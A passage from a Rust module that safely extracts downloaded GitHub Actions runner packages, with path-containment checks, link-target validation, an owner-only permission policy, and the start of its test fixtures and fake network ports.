1858            let _ = fs::remove_dir_all(dir);
1859        }
1860    }
1861}
1862
1863impl Drop for StagingGuard {
1864    fn drop(&mut self) {
1865        if let Some(dir) = self.dir.take() {
1866            let _ = fs::remove_dir_all(dir);
1867        }
1868    }
1869}
1870
1871// ---------------------------------------------------------------------------
1872// Extraction
1873// ---------------------------------------------------------------------------
1874
1875/// Extract a verified archive into a fresh directory.
1876///
1877/// The digest has already matched by the time this runs, so these are the bytes
1878/// GitHub published. The containment checks below are defence in depth, not the
1879/// primary control — but they are cheap, and what they prevent is an archive
1880/// writing outside the directory it was given.
1881fn extract(archive: &Path, kind: ArchiveKind, into: &Path) -> Result<(), PackageError> {
1882    create_dir_all(into)?;
1883    match kind {
1884        ArchiveKind::Zip => extract_zip(archive, into),
1885        ArchiveKind::TarGz => extract_tar_gz(archive, into),
1886    }
1887}
1888
1889fn extract_zip(archive: &Path, into: &Path) -> Result<(), PackageError> {
1890    let file = fs::File::open(archive).map_err(|source| PackageError::Io {
1891        what: "open the runner package archive",
1892        path: archive.to_path_buf(),
1893        source,
1894    })?;
1895    let mut zip = zip::ZipArchive::new(file).map_err(|error| PackageError::Extract {
1896        detail: error.to_string(),
1897    })?;
1898
1899    for index in 0..zip.len() {
1900        let mut entry = zip.by_index(index).map_err(|error| PackageError::Extract {
1901            detail: error.to_string(),
1902        })?;
1903        let raw_name = entry.name().to_string();
1904        // `enclosed_name` answers `None` for an absolute path, a drive prefix,
1905        // or any `..` component. Our own containment check follows it because
1906        // the two disagree on nothing and agreeing twice is the point.
1907        let relative = entry
1908            .enclosed_name()
1909            .ok_or_else(|| PackageError::UnsafeArchiveEntry {
1910                entry: raw_name.clone(),
1911            })?;
1912        let Some(destination) = entry_destination(into, &relative, &raw_name)? else {
1913            continue;
1914        };
1915
1916        if entry.is_dir() {
1917            create_dir_all(&destination)?;
1918            // The zip path used to `continue` here and never reach the policy,
1919            // so a directory published world-writable or setgid kept it.
1920            apply_mode_policy(&destination, intended_mode(true, entry.unix_mode()))?;
1921            continue;
1922        }
1923        if entry.is_symlink() {
1924            // Windows packages are the `.zip` ones and contain no symlinks. A
1925            // link here would be a shape this agent has never seen from GitHub,
1926            // and creating it needs a privilege the agent should not want.
1927            return Err(PackageError::UnsafeArchiveEntry { entry: raw_name });
1928        }
1929        if let Some(parent) = destination.parent() {
1930            create_dir_all(parent)?;
1931        }
1932        let mut out = fs::File::create(&destination).map_err(|source| PackageError::Io {
1933            what: "create an extracted runner package file",
1934            path: destination.clone(),
1935            source,
1936        })?;
1937        io::copy(&mut entry, &mut out).map_err(|source| PackageError::Io {
1938            what: "write an extracted runner package file",
1939            path: destination.clone(),
1940            source,
1941        })?;
1942        apply_mode_policy(&destination, intended_mode(false, entry.unix_mode()))?;
1943    }
1944    Ok(())
1945}
1946
1947fn extract_tar_gz(archive: &Path, into: &Path) -> Result<(), PackageError> {
1948    let file = fs::File::open(archive).map_err(|source| PackageError::Io {
1949        what: "open the runner package archive",
1950        path: archive.to_path_buf(),
1951        source,
1952    })?;
1953    let mut tar = tar::Archive::new(flate2::read::GzDecoder::new(file));
1954    let entries = tar.entries().map_err(|source| PackageError::Extract {
1955        detail: source.to_string(),
1956    })?;
1957    for entry in entries {
1958        let mut entry = entry.map_err(|source| PackageError::Extract {
1959            detail: source.to_string(),
1960        })?;
1961
1962        // Everything is read out of the header up front: `entry` is borrowed
1963        // mutably below, and a `Cow` borrowed from it cannot survive that.
1964        let relative = entry
1965            .path()
1966            .map_err(|source| PackageError::Extract {
1967                detail: source.to_string(),
1968            })?
1969            .into_owned();
1970        let display = relative.display().to_string();
1971        let kind = entry.header().entry_type();
1972        let mode = entry
1973            .header()
1974            .mode()
1975            .map_err(|source| PackageError::Extract {
1976                detail: source.to_string(),
1977            })?;
1978        let link_target = entry
1979            .link_name()
1980            .map_err(|source| PackageError::Extract {
1981                detail: source.to_string(),
1982            })?
1983            .map(|target| target.into_owned());
1984
1985        // This module's own containment check, before `tar`'s. Its result is
1986        // load-bearing rather than discarded: `destination` is what the mode
1987        // policy is applied to below, so removing this call does not compile.
1988        let Some(destination) = entry_destination(into, &relative, &display)? else {
1989            // `.` or `./`, the archive's own root. Skipped before `unpack_in`,
1990            // which would otherwise set the extraction root's mode itself.
1991            continue;
1992        };
1993
1994        // A link's *target* is a second path, and `tar` does not check it
1995        // against the extraction root. An unvalidated one is the classic
1996        // archive escape: a link out of the tree, then a later entry written
1997        // through it. `extract_zip` refuses links outright because a Windows
1998        // package has never carried one and creating one needs a privilege
1999        // this agent should not want. That reasoning is Windows-specific, so
2000        // rather than copy the conclusion this path checks the target: a link
2001        // that stays inside the package is legitimate on Unix and is kept, and
2002        // one that reaches outside is refused.
2003        if matches!(kind, tar::EntryType::Symlink | tar::EntryType::Link) {
2004            let target =
2005                link_target
2006                    .as_deref()
2007                    .ok_or_else(|| PackageError::UnsafeArchiveEntry {
2008                        entry: display.clone(),
2009                    })?;
2010            resolve_link_target(into, &destination, kind, target, &display)?;
2011        }
2012
2013        // `tar`'s own mode handling has to be turned *down* here, not up.
2014        //
2015        // `set_preserve_permissions(true)` is weaker than the default, not
2016        // stronger: `Entry::_set_perms` computes
2017        // `let mode = if preserve { mode } else { mode & 0o777 }; mode & !mask`
2018        // with `mask` defaulting to zero, so preserving applies setuid, setgid,
2019        // sticky and world-writable bits exactly as published. On a package
2020        // fetched over the network that is the wrong direction. `false` drops
2021        // the top three bits and the mask drops every group and other bit, so
2022        // nothing dangerous exists on disk even momentarily; the policy below
2023        // then sets the mode this agent actually intends.
2024        entry.set_preserve_permissions(false);
2025        entry.set_mask(0o077);
2026        let unpacked = entry
2027            .unpack_in(into)
2028            .map_err(|source| PackageError::Extract {
2029                detail: source.to_string(),
2030            })?;
2031        if !unpacked {
2032            return Err(PackageError::UnsafeArchiveEntry { entry: display });
2033        }
2034
2035        // Links are skipped: a symlink's own mode is meaningless, and
2036        // `set_permissions` follows the link and would change the target's.
2037        if !matches!(kind, tar::EntryType::Symlink | tar::EntryType::Link) {
2038            let is_directory = matches!(kind, tar::EntryType::Directory);
2039            apply_mode_policy(&destination, intended_mode(is_directory, Some(mode)))?;
2040        }
2041    }
2042    Ok(())
2043}
2044
2045/// Prove an archive link's target cannot reach outside the package.
2046///
2047/// A symlink's target is resolved relative to the link's own directory; a hard
2048/// link's is relative to the archive root. Both must land inside `into`, and an
2049/// absolute target is refused outright — nothing GitHub publishes needs one,
2050/// and it is the shape an escape takes.
2051fn resolve_link_target(
2052    into: &Path,
2053    entry_destination: &Path,
2054    kind: tar::EntryType,
2055    target: &Path,
2056    raw: &str,
2057) -> Result<(), PackageError> {
2058    let unsafe_entry = || PackageError::UnsafeArchiveEntry {
2059        entry: raw.to_string(),
2060    };
2061    if target.is_absolute() {
2062        return Err(unsafe_entry());
2063    }
2064    let mut resolved = if matches!(kind, tar::EntryType::Symlink) {
2065        entry_destination.parent().unwrap_or(into).to_path_buf()
2066    } else {
2067        into.to_path_buf()
2068    };
2069    for component in target.components() {
2070        match component {
2071            Component::Normal(part) => resolved.push(part),
2072            Component::CurDir => {}
2073            // Climbing is legitimate inside a package — `bin/current` may point
2074            // at `../run.sh` — so it is followed rather than refused, and the
2075            // containment check below is what decides.
2076            Component::ParentDir => {
2077                if !resolved.pop() {
2078                    return Err(unsafe_entry());
2079                }
2080            }
2081            Component::RootDir | Component::Prefix(_) => return Err(unsafe_entry()),
2082        }
2083    }
2084    if !is_inside(into, &resolved) {
2085        return Err(unsafe_entry());
2086    }
2087    Ok(())
2088}
2089
2090/// Where one archive entry lands, or `None` when it names the extraction root.
2091///
2092/// # Why a root entry is skipped rather than refused
2093///
2094/// An entry called `.` or `./` resolves to the extraction directory itself.
2095/// Left alone that hands the archive control over the mode of a directory this
2096/// module created and owns — [`apply_mode_policy`] would chmod the root, and
2097/// `tar`'s own unpack would too. Not an escape, since the policy fails closed,
2098/// but not the archive's decision to make either.
2099///
2100/// Refusing it was the obvious fix and is the wrong one: `tar -C dir -czf
2101/// out.tgz .` emits exactly this entry for the archive's own root, so a refusal
2102/// would reject a perfectly ordinary package. The root already exists — it is
2103/// created at the top of [`extract`] — so there is nothing such an entry can
2104/// contribute and nothing lost by ignoring it. Skipping closes the hole
2105/// completely and cannot fail a legitimate archive.
2106///
2107/// This is the same trade as the link-target check in [`extract_tar_gz`]:
2108/// validate the dangerous property, do not refuse the shape.
2109fn entry_destination(
2110    root: &Path,
2111    relative: &Path,
2112    raw: &str,
2113) -> Result<Option<PathBuf>, PackageError> {
2114    let resolved = resolve_inside(root, relative, raw)?;
2115    if resolved == root {
2116        return Ok(None);
2117    }
2118    Ok(Some(resolved))
2119}
2120
2121/// The mode an extracted entry should end up with, or `None` to leave it alone.
2122///
2123/// Pure, and separated from the two extraction paths on purpose: it is the only
2124/// place the directory rule exists, and it can be asserted on a CI leg whose
2125/// filesystem has no mode bits.
2126///
2127/// **A directory always gets the executable bit.** `policy_mode` alone would
2128/// turn a published `0o644` directory into `0o600`, which the agent could not
2129/// then descend into — traversability is not the archive's to withhold. A
2130/// directory with no published mode at all (a zip written on Windows) gets the
2131/// same answer rather than being left at whatever `create_dir_all` chose.
2132fn intended_mode(is_directory: bool, published: Option<u32>) -> Option<u32> {
2133    if is_directory {
2134        return Some(policy_mode(published.unwrap_or(0o700) | 0o100));
2135    }
2136    published.map(policy_mode)
2137}
2138
2139/// Join `relative` onto `root` and prove the result stays inside it.
2140fn resolve_inside(root: &Path, relative: &Path, raw: &str) -> Result<PathBuf, PackageError> {
2141    let unsafe_entry = || PackageError::UnsafeArchiveEntry {
2142        entry: raw.to_string(),
2143    };
2144    if relative.is_absolute() {
2145        return Err(unsafe_entry());
2146    }
2147    let mut resolved = root.to_path_buf();
2148    for component in relative.components() {
2149        match component {
2150            Component::Normal(part) => resolved.push(part),
2151            // `.` is harmless but carries no information; everything else —
2152            // `..`, a root, a drive prefix — is an escape attempt or a shape
2153            // this module refuses to guess about.
2154            Component::CurDir => {}
2155            Component::ParentDir | Component::RootDir | Component::Prefix(_) => {
2156                return Err(unsafe_entry());
2157            }
2158        }
2159    }
2160    if !is_inside(root, &resolved) {
2161        return Err(unsafe_entry());
2162    }
2163    Ok(resolved)
2164}
2165
2166/// Whether `candidate` is `root` itself or lies beneath it, lexically.
2167///
2168/// Lexical on purpose: it must answer for paths that do not exist yet — an
2169/// archive entry's destination, an attempt's runtime directory before `e3`
2170/// creates it — and `canonicalize` cannot.
2171///
2172/// # Known limit
2173///
2174/// Components are compared byte-exactly, so on Windows a path differing from
2175/// the root only in case, or reaching it through an 8.3 short name, is not
2176/// recognised as inside. That would weaken [`PackageCache::lease`]'s workspace
2177/// guard, which is the caller that matters. It is latent rather than live:
2178/// every path on both sides of that comparison is derived from the same
2179/// [`AppPaths`] instance, so the spellings match by construction. Case-folding
2180/// here would be wrong for the archive-entry caller, where two entries
2181/// differing only in case are two entries — closing it properly means a
2182/// platform-aware comparison, not a `to_lowercase`.
2183fn is_inside(root: &Path, candidate: &Path) -> bool {
2184    let normalise = |path: &Path| -> Vec<std::ffi::OsString> {
2185        path.components()
2186            .filter_map(|component| match component {
2187                Component::Normal(part) => Some(part.to_os_string()),
2188                Component::RootDir => Some(std::ffi::OsString::from("/")),
2189                Component::Prefix(prefix) => Some(prefix.as_os_str().to_os_string()),
2190                Component::CurDir | Component::ParentDir => None,
2191            })
2192            .collect()
2193    };
2194    // A `..` anywhere in the candidate means the lexical answer is not
2195    // trustworthy, so refuse to claim containment.
2196    if candidate
2197        .components()
2198        .any(|c| matches!(c, Component::ParentDir))
2199    {
2200        return false;
2201    }
2202    let root = normalise(root);
2203    let candidate = normalise(candidate);
2204    candidate.len() >= root.len() && candidate[..root.len()] == root[..]
2205}
2206
2207/// The only mode this agent ever applies to something it extracted.
2208///
2209/// **A mode published in an archive is not a security decision this agent
2210/// delegates.** Exactly one bit group is honoured — the executable bits,
2211/// because the runner's `run.sh`, `config.sh` and `bin/*` are useless without
2212/// them — and the owner gets read and write so the tree is usable. Everything
2213/// else is dropped: setuid and setgid, which would turn a downloaded package
2214/// into a privilege escalation; the sticky bit; and every group and other bit,
2215/// which would let another account on the machine rewrite the binaries every
2216/// future runner is launched from.
2217///
2218/// The result is **owner-only**, matching the `0700` posture `d1` already uses
2219/// for every directory it creates. Writing this as `(published & 0o111) |
2220/// 0o600` looks equivalent and is not: it carries the *group and other*
2221/// execute bits straight through from the archive, so a published `0755` would
2222/// leave every account on the machine able to execute the runner binaries. The
2223/// archive's only say here is whether the file is executable at all.
2224///
2225/// Deliberately **not** `cfg`-gated and deliberately pure, so the policy has
2226/// one definition, both extraction paths reach the same one, and it can be
2227/// asserted on a CI leg whose filesystem has no modes at all.
2228const fn policy_mode(published: u32) -> u32 {
2229    if published & 0o111 == 0 { 0o600 } else { 0o700 }
2230}
2231
2232/// Apply [`policy_mode`] to something just extracted.
2233///
2234/// One function rather than a `cfg`-gated pair, so [`policy_mode`] is reached
2235/// on every target. As two functions the Windows build never called it, and
2236/// `-D warnings` failed the Windows leg on dead code — a small thing, but it
2237/// pointed at a real one: a security policy that is compiled out on a platform
2238/// is a policy nobody can be sure still exists there.
2239fn apply_mode_policy(path: &Path, mode: Option<u32>) -> Result<(), PackageError> {
2240    let Some(published) = mode else { return Ok(()) };
2241    let mode = policy_mode(published);
2242    #[cfg(unix)]
2243    {
2244        use std::os::unix::fs::PermissionsExt as _;
2245        fs::set_permissions(path, fs::Permissions::from_mode(mode)).map_err(|source| {
2246            PackageError::Io {
2247                what: "set permissions on an extracted runner package file",
2248                path: path.to_path_buf(),
2249                source,
2250            }
2251        })
2252    }
2253    #[cfg(not(unix))]
2254    {
2255        // Windows has no mode bits to apply, and the `.zip` packages are the
2256        // Windows ones — which is exactly why the policy has to be enforced on
2257        // the `.tar.gz` path, the one that runs where modes exist.
2258        let _ = (path, mode);
2259        Ok(())
2260    }
2261}
2262
2263// ---------------------------------------------------------------------------
2264// Small filesystem helpers
2265// ---------------------------------------------------------------------------
2266
2267/// Remove a file, treating "it was not there" as success.
2268///
2269/// Any other failure is reported: a download that could not be deleted is a
2270/// package sitting unverified on the operator's disk, which is worth a word.
2271fn remove_file_if_present(path: &Path, what: &'static str) -> Result<(), PackageError> {
2272    match fs::remove_file(path) {
2273        Ok(()) => Ok(()),
2274        Err(source) if source.kind() == io::ErrorKind::NotFound => Ok(()),
2275        Err(source) => Err(PackageError::Io {
2276            what,
2277            path: path.to_path_buf(),
2278            source,
2279        }),
2280    }
2281}
2282
2283fn create_dir_all(path: &Path) -> Result<(), PackageError> {
2284    fs::create_dir_all(path).map_err(|source| PackageError::Io {
2285        what: "create a runner package cache directory",
2286        path: path.to_path_buf(),
2287        source,
2288    })
2289}
2290
2291fn write_json<T: Serialize>(path: &Path, value: &T) -> Result<(), PackageError> {
2292    let encoded = serde_json::to_vec_pretty(value).map_err(|error| PackageError::Extract {
2293        detail: format!("the package manifest could not be encoded: {error}"),
2294    })?;
2295    fs::write(path, encoded).map_err(|source| PackageError::Io {
2296        what: "write a runner package cache file",
2297        path: path.to_path_buf(),
2298        source,
2299    })
2300}
2301
2302/// Which attempt one lease file records as holding `version`, if any.
2303///
2304/// Split out of [`PackageCache::holders`] so the three answers can be asserted
2305/// directly. The middle one is a race that only a seam like this can be shown
2306/// to handle: a lease file listed and then gone cannot be produced on demand
2307/// from outside, but it is exactly what a concurrent [`PackageCache::release`]
2308/// leaves behind.
2309///
2310/// * **Gone** — `Ok(None)`. The directory was listed a moment ago, so a lease
2311///   that has since disappeared was released in between. That is an ordinary
2312///   race and precisely the outcome a prune is waiting for. Reporting it as
2313///   [`PackageError::UnreadableLease`] would make `prune` refuse for a reason
2314///   that is not true and send the operator to inspect a file that is not
2315///   there.
2316/// * **Present and unintelligible** — `Err`. Unreadable is not "nothing holds
2317///   this", and a lease is written non-atomically, so a crash mid-write leaves
2318///   exactly this shape. Fails closed.
2319/// * **Present and readable** — `Ok(Some(id))` when it names `version`.
2320///
2321/// # Errors
2322/// [`PackageError::UnreadableLease`] for a file whose name is not an attempt
2323/// identifier or whose contents do not parse, [`PackageError::Io`] otherwise.
2324fn holder_of(path: &Path, version: &RunnerVersion) -> Result<Option<AttemptId>, PackageError> {
2325    let unreadable = || PackageError::UnreadableLease {
2326        path: path.to_path_buf(),
2327    };
2328    let uuid = path
2329        .file_stem()
2330        .and_then(|stem| stem.to_str())
2331        .and_then(|stem| uuid::Uuid::parse_str(stem).ok())
2332        .ok_or_else(unreadable)?;
2333    let Some(lease) = read_lease(path)? else {
2334        return Ok(None);
2335    };
2336    Ok((lease.version == *version).then(|| AttemptId::from_uuid(uuid)))
2337}
2338
2339/// Reads one lease, strictly.
2340///
2341/// The counterpart of [`read_json`], and deliberately not the same policy.
2342/// `read_json` treats a corrupt file as absent, which is right for a
2343/// **manifest**: the fallback there is "this directory is not an entry", and
2344/// the caller's next move is the same either way. It is wrong for a **lease**,
2345/// where the fallback would be "nothing holds this version" — the most
2346/// dangerous answer this module can give, and the one thing that would make an
2347/// otherwise fail-closed prune guard fail open.
2348///
2349/// # Errors
2350/// [`PackageError::UnreadableLease`] when the file exists and does not parse,
2351/// [`PackageError::Io`] when it cannot be read at all.
2352fn read_lease(path: &Path) -> Result<Option<Lease>, PackageError> {
2353    let bytes = match fs::read(path) {
2354        Ok(bytes) => bytes,
2355        Err(source) if source.kind() == io::ErrorKind::NotFound => return Ok(None),
2356        Err(source) => {
2357            return Err(PackageError::Io {
2358                what: "read a runner package lease",
2359                path: path.to_path_buf(),
2360                source,
2361            });
2362        }
2363    };
2364    serde_json::from_slice(&bytes)
2365        .map(Some)
2366        .map_err(|_| PackageError::UnreadableLease {
2367            path: path.to_path_buf(),
2368        })
2369}
2370
2371/// Reads a JSON file, answering `None` when it is absent or unreadable as `T`.
2372///
2373/// A corrupt manifest reads as "not an entry" rather than as an error: the
2374/// caller's next move is the same either way — treat the directory as not
2375/// installed — and a cache that refuses to answer at all because one directory
2376/// is damaged is worse than one that ignores it.
2377fn read_json<T: for<'de> Deserialize<'de>>(path: &Path) -> Result<Option<T>, PackageError> {
2378    let bytes = match fs::read(path) {
2379        Ok(bytes) => bytes,
2380        Err(source) if source.kind() == io::ErrorKind::NotFound => return Ok(None),
2381        Err(source) => {
2382            return Err(PackageError::Io {
2383                what: "read a runner package cache file",
2384                path: path.to_path_buf(),
2385                source,
2386            });
2387        }
2388    };
2389    Ok(serde_json::from_slice(&bytes).ok())
2390}
2391
2392// ---------------------------------------------------------------------------
2393// Tests
2394// ---------------------------------------------------------------------------
2395
2396#[cfg(test)]
2397mod tests {
2398    use super::*;
2399
2400    use std::io::Write as _;
2401    use std::sync::atomic::{AtomicUsize, Ordering};
2402
2403    use runner_manager_domain::attempt::AttemptState;
2404    use runner_manager_testkit::clock::FakeClock;
2405    use runner_manager_testkit::fixtures;
2406    use runner_manager_testkit::github as gh;
2407
2408    // -- archive fixtures --------------------------------------------------
2409
2410    /// A real `.zip`, built in memory.
2411    fn zip_bytes(entries: &[(&str, &str)]) -> Vec<u8> {
2412        let mut writer = zip::ZipWriter::new(io::Cursor::new(Vec::new()));
2413        let options = zip::write::SimpleFileOptions::default();
2414        for (name, body) in entries {
2415            writer
2416                .start_file(*name, options)
2417                .expect("start a zip entry");
2418            writer
2419                .write_all(body.as_bytes())
2420                .expect("write a zip entry");
2421        }
2422        writer.finish().expect("finish the zip").into_inner()
2423    }
2424
2425    /// A real `.zip` whose entries carry explicit unix modes.
2426    ///
2427    /// A name ending in `/` becomes a directory entry, which is how a zip
2428    /// records one and is the case the mode policy used to skip.
2429    fn zip_bytes_with_modes(entries: &[(&str, &str, Option<u32>)]) -> Vec<u8> {
2430        let mut writer = zip::ZipWriter::new(io::Cursor::new(Vec::new()));
2431        for (name, body, mode) in entries {
2432            let mut options = zip::write::SimpleFileOptions::default();
2433            if let Some(mode) = mode {
2434                options = options.unix_permissions(*mode);
2435            }
2436            if name.ends_with('/') {
2437                writer
2438                    .add_directory(name.trim_end_matches('/'), options)
2439                    .expect("start a zip directory");
2440            } else {
2441                writer
2442                    .start_file(*name, options)
2443                    .expect("start a zip entry");
2444                writer
2445                    .write_all(body.as_bytes())
2446                    .expect("write a zip entry");
2447            }
2448        }
2449        writer.finish().expect("finish the zip").into_inner()
2450    }
2451
2452    /// A real `.tar.gz`, built in memory.
2453    fn tar_gz_bytes(entries: &[(&str, &str)]) -> Vec<u8> {
2454        let encoder = flate2::write::GzEncoder::new(Vec::new(), flate2::Compression::fast());
2455        let mut builder = tar::Builder::new(encoder);
2456        for (name, body) in entries {
2457            let mut header = tar::Header::new_gnu();
2458            header.set_size(body.len() as u64);
2459            header.set_mode(0o644);
2460            header.set_cksum();
2461            builder
2462                .append_data(&mut header, name, body.as_bytes())
2463                .expect("append a tar entry");
2464        }
2465        builder
2466            .into_inner()
2467            .expect("finish the tar")
2468            .finish()
2469            .expect("finish the gzip")
2470    }
2471
2472    /// A `.tar.gz` carrying an entry name that `tar::Builder` refuses to write.
2473    ///
2474    /// `append_data` rejects a path containing `..` outright — "paths in
2475    /// archives must not have `..`" — which is a fine default and a useless
2476    /// fixture: an attacker does not use `tar::Builder`. The header is
2477    /// therefore filled in by hand and appended raw, so the archive under test
2478    /// is the archive a hostile producer would actually emit.
2479    fn tar_gz_with_raw_name(name: &str, body: &str) -> Vec<u8> {
2480        let mut header = tar::Header::new_gnu();
2481        header.set_size(body.len() as u64);
2482        header.set_mode(0o644);
2483        header.set_entry_type(tar::EntryType::Regular);
2484        {
2485            let gnu = header.as_gnu_mut().expect("a GNU header");
2486            let bytes = name.as_bytes();
2487            assert!(bytes.len() < gnu.name.len(), "the fixture name must fit");
2488            gnu.name[..bytes.len()].copy_from_slice(bytes);
2489        }
2490        header.set_cksum();
2491
2492        let encoder = flate2::write::GzEncoder::new(Vec::new(), flate2::Compression::fast());
2493        let mut builder = tar::Builder::new(encoder);
2494        builder
2495            .append(&header, body.as_bytes())
2496            .expect("append a raw tar entry");
2497        builder
2498            .into_inner()
2499            .expect("finish the tar")
2500            .finish()
2501            .expect("finish the gzip")
2502    }
2503
2504    /// A `.tar.gz` carrying one entry with an exact mode and entry type.
2505    ///
2506    /// `tar::Header::set_mode` writes the value verbatim with no masking, which
2507    /// is what lets a fixture carry a setuid bit — the thing a published
2508    /// archive could carry and this module must refuse to apply.
2509    fn tar_gz_special(
2510        name: &str,
2511        body: &str,
2512        mode: u32,
2513        kind: tar::EntryType,
2514        link_target: Option<&str>,
2515    ) -> Vec<u8> {
2516        let is_link = matches!(kind, tar::EntryType::Symlink | tar::EntryType::Link);
2517        let mut header = tar::Header::new_gnu();
2518        header.set_size(if is_link { 0 } else { body.len() as u64 });
2519        header.set_mode(mode);
2520        header.set_entry_type(kind);
2521        if let Some(target) = link_target {
2522            header
2523                .set_link_name_literal(target)
2524                .expect("a raw link target");
2525        }
2526        {
2527            let gnu = header.as_gnu_mut().expect("a GNU header");
2528            let bytes = name.as_bytes();
2529            assert!(bytes.len() < gnu.name.len(), "the fixture name must fit");
2530            gnu.name[..bytes.len()].copy_from_slice(bytes);
2531        }
2532        header.set_cksum();
2533
2534        let encoder = flate2::write::GzEncoder::new(Vec::new(), flate2::Compression::fast());
2535        let mut builder = tar::Builder::new(encoder);
2536        let data: &[u8] = if is_link { &[] } else { body.as_bytes() };
2537        builder
2538            .append(&header, data)
2539            .expect("append a raw tar entry");
2540        builder
2541            .into_inner()
2542            .expect("finish the tar")
2543            .finish()
2544            .expect("finish the gzip")
2545    }
2546
2547    /// Read one entry's header back out of a `.tar.gz`.
2548    ///
2549    /// Every fixture below is checked through this before it is used. A test
2550    /// that asserts "the setuid bit was not applied" proves nothing if the
2551    /// fixture never carried one.
2552    fn first_entry_header(bytes: &[u8]) -> (u32, tar::EntryType, Option<PathBuf>) {
2553        let mut archive = tar::Archive::new(flate2::read::GzDecoder::new(io::Cursor::new(
2554            bytes.to_vec(),
2555        )));
2556        let mut entries = archive.entries().expect("entries");
2557        let entry = entries
2558            .next()
2559            .expect("one entry")
2560            .expect("a readable entry");
2561        let link = entry
2562            .link_name()
2563            .expect("a link name field")
2564            .map(|path| path.into_owned());
2565        let header = entry.header();
2566        (header.mode().expect("a mode"), header.entry_type(), link)
2567    }
2568
2569    /// The two entries every fixture package carries.
2570    fn package_entries() -> Vec<(&'static str, &'static str)> {
2571        vec![
2572            ("run.sh", "#!/bin/sh\necho runner\n"),
2573            ("bin/Runner.Listener", "listener\n"),
2574        ]
2575    }
2576
2577    fn hex_digest(bytes: &[u8]) -> String {
2578        let mut hasher = Sha256::new();
2579        hasher.update(bytes);
2580        hex::encode(hasher.finalize())
2581    }
2582
2583    /// Build one published-download record.
2584    fn published(
2585        os: &str,
2586        arch: &str,
2587        version: &str,
2588        extension: &str,
2589        digest: Option<&str>,
2590    ) -> RunnerDownload {
2591        let filename = format!("actions-runner-{os}-{arch}-{version}{extension}");
2592        RunnerDownload {
2593            os: os.to_string(),
2594            architecture: arch.to_string(),
2595            download_url: format!(
2596                "https://github.com/actions/runner/releases/download/v{version}/{filename}"
2597            ),
2598            filename,
2599            sha256_checksum: digest.map(str::to_string),
2600        }
2601    }
2602
2603    // -- fake ports --------------------------------------------------------
2604
2605    #[derive(Debug, Clone)]
2606    enum Answer {
2607        Downloads(Vec<RunnerDownload>),
2608        Rejected,
2609        Unavailable,
2610    }
2611
2612    #[derive(Debug)]
2613    struct FakeCatalog {
2614        answer: Mutex<Answer>,
2615        calls: AtomicUsize,
2616    }
2617
2618    impl FakeCatalog {
2619        fn with(downloads: Vec<RunnerDownload>) -> Arc<Self> {
2620            Self::answering(Answer::Downloads(downloads))
2621        }
2622
2623        fn answering(answer: Answer) -> Arc<Self> {
2624            Arc::new(Self {
2625                answer: Mutex::new(answer),
2626                calls: AtomicUsize::new(0),
2627            })
2628        }
2629
2630        fn publish(&self, downloads: Vec<RunnerDownload>) {
2631            *self.answer.lock().unwrap() = Answer::Downloads(downloads);
2632        }
2633
2634        fn calls(&self) -> usize {
2635            self.calls.load(Ordering::SeqCst)
2636        }
2637    }
2638
2639    #[async_trait::async_trait]
2640    impl DownloadCatalog for FakeCatalog {
2641        async fn published(&self) -> Result<RunnerDownloads, PackageError> {
2642            self.calls.fetch_add(1, Ordering::SeqCst);
2643            let answer = self.answer.lock().unwrap().clone();
2644            match answer {
2645                Answer::Downloads(entries) => Ok(RunnerDownloads::new(entries)),
2646                Answer::Rejected => Err(PackageError::VersionRejected {
2647                    version: None,
2648                    detail: Some("the runner version is no longer supported".to_string()),
2649                }),
2650                Answer::Unavailable => Err(PackageError::CatalogUnavailable {
2651                    detail: "502 Bad Gateway".to_string(),
2652                }),
2653            }
2654        }
2655    }
2656
2657    #[derive(Debug)]
2658    struct FakeFetcher {
2659        payload: Mutex<Vec<u8>>,
2660        /// Every `(url, destination)` this fetcher was asked for, in order.
2661        calls: Mutex<Vec<(String, PathBuf)>>,
2662        /// Destinations that genuinely existed on disk immediately after the
2663        /// fetch returned. This is what stops the "partial file is removed"
2664        /// assertion from passing over a file that was never created.
2665        wrote: Mutex<Vec<PathBuf>>,
2666        fail: Mutex<bool>,
2667    }
2668
2669    impl FakeFetcher {
2670        fn with(payload: Vec<u8>) -> Arc<Self> {
2671            Arc::new(Self {
2672                payload: Mutex::new(payload),
2673                calls: Mutex::new(Vec::new()),
2674                wrote: Mutex::new(Vec::new()),
2675                fail: Mutex::new(false),
2676            })
2677        }
2678
2679        fn serve(&self, payload: Vec<u8>) {
2680            *self.payload.lock().unwrap() = payload;
2681        }
2682
2683        fn calls(&self) -> Vec<(String, PathBuf)> {
2684            self.calls.lock().unwrap().clone()
2685        }
2686
2687        fn count(&self) -> usize {
2688            self.calls.lock().unwrap().len()
2689        }
2690
2691        fn wrote(&self) -> Vec<PathBuf> {
2692            self.wrote.lock().unwrap().clone()
2693        }
2694    }
2695
2696    #[async_trait::async_trait]
2697    impl PackageFetcher for FakeFetcher {
2698        async fn fetch(&self, url: &str, destination: &Path) -> Result<u64, PackageError> {
2699            self.calls
2700                .lock()
2701                .unwrap()
2702                .push((url.to_string(), destination.to_path_buf()));
2703            if *self.fail.lock().unwrap() {
2704                return Err(PackageError::Download {
2705                    detail: "connection reset".to_string(),
2706                });
2707            }
2708            let payload = self.payload.lock().unwrap().clone();
2709            fs::write(destination, &payload).expect("the fake fetcher writes its payload");
2710            assert!(
2711                destination.is_file(),
2712                "the fake fetcher must actually create the file, or every \
2713                 assertion about removing it is vacuous"
2714            );
2715            self.wrote.lock().unwrap().push(destination.to_path_buf());
2716            Ok(payload.len() as u64)
2717        }
2718    }
2719
2720    // -- harness -----------------------------------------------------------
2721
2722    struct Harness {
2723        _dir: tempfile::TempDir,
2724        paths: AppPaths,
2725        catalog: Arc<FakeCatalog>,
2726        fetcher: Arc<FakeFetcher>,
2727        clock: Arc<FakeClock>,
2728    }
2729
2730    impl Harness {
2731        fn new(downloads: Vec<RunnerDownload>, payload: Vec<u8>) -> Self {
2732            let dir = tempfile::tempdir().expect("a temporary root");
2733            let paths = AppPaths::rooted_at(dir.path());
2734            Self {
2735                _dir: dir,
2736                paths,
2737                catalog: FakeCatalog::with(downloads),
2738                fetcher: FakeFetcher::with(payload),
2739                clock: Arc::new(FakeClock::default()),
2740            }
2741        }
2742
2743        fn with_catalog(mut self, catalog: Arc<FakeCatalog>) -> Self {
2744            self.catalog = catalog;
2745            self
2746        }
2747
2748        fn cache(&self) -> PackageCache {
2749            self.cache_for(Os::Linux, Arch::X64)
2750        }
2751
2752        fn cache_for(&self, os: Os, arch: Arch) -> PackageCache {
2753            PackageCache::new(
2754                &self.paths,
2755                os,
2756                arch,
2757                CachePorts {
